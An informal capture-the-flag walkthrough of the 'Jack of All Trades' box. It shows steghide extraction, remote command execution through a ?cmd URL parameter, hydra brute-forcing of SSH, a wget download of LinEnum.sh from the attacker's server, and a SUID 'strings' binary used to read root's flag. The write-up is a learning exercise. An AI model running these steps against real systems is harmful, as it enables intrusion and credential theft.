Jack of All Trades(Stego and Web on common ports)

This box is super easy but just plays a lot of tricks on you. So first when we can it we find 2 ports open which are 22 and 80 and when you try to access the website with just IP we realize 80 is not http its actuallly 22 that is ssh in this case and here is where our first problem comes when you try to access <ip>:22 firefox will give you error ssaying that port is for something on the entwork and blocks it for us so to unblock this all we gotta do is go to about:config in the browser.

Search for network.security.ports.banned.override. In some versions of Firefox this might show nothing (in which case right-click anywhere on the page, choose new → String and use the search query as the preference name) and then click modify and add port 22. So we can access it basically by going to <ip>:22 and then lets look at the source of the page and then there is note which tells us hey if you forget your password you can go to the page /recovery and login with the credentials when you convert the base 64 string to normal text we see this :

So we have a password which if you try to login with it doesnt work with the user name jack so lets ennumerate more and when we look at the page source we found a new crypto string. Now lets take the hint we got above and use that to try to crack this lets google Johny Graves and after a bit of hunting we find there is a Twitter User called GravesJohnny who is looking for a crypto job and has this written as a tweet :

It says first ROT13 then convert it to Hex and then to Base 32 and it will be untrackable .

So lets do this in the reverse and first convert Base32 then convert the Hex and then convert it to ROT 13 and we find a hint and they tell us the

Stegosouras which mostly refers to Stegnagraphy so lets now go to the home page cause its said its hidden on the home page so lets first try the Header image with the tool steghide like this :

```
steghide extract -sf header.jpg
```

and in the Password prompt lets put the password we got from the first step the conversition from Base64. and we get a file called cred.txt written for us which we log in to the /recover.php page with the password in the cred file and username as jack. And then we get a prompt which says hey you can use parameter ?cmd in the url and execute command so we basically we have remote code execution lets see what files are there first by adding ?cmd=ls and the same way lets look files in the /home directory and we see there is file called jack_password_list which is list of possible passwords so lets cat it out by adding ?cmd=cat /home/jack_password_list and view the source and we will get a list of passwords which we can use to brute force SSH which is on port 80.

```
hydra -s 80 -t 16 -l jack -P passlist ssh://<ip>
```

and we will get the password for us .Lets log in to ssh by using

```
ssh jack@<ip> -p 80
```

and using the password we got with hydra. and there is user.jpg file which contains our flag so lets get that flag by using the tool called scp which lets us get files from ssh.

```
scp -P 80 jack@<remote-ip>:user.jpg .
```

and lets now open this and we will see our flag right there for us. And then lets bring Linenum.sh to the ssh shell by using a local Python server on our local machine and then use wget to get the file on the target file.

```
python -m SimpleHTTPServer 80
wget <yourip>/Linenum.sh
```

and in here we see there is a SUID bit for string which we can use to cat out files and in this case as we can see form the hint that the flag is at /root/root.txt so we can just do this and get the flag

```
/usr/bin/strings /root/root.txt
```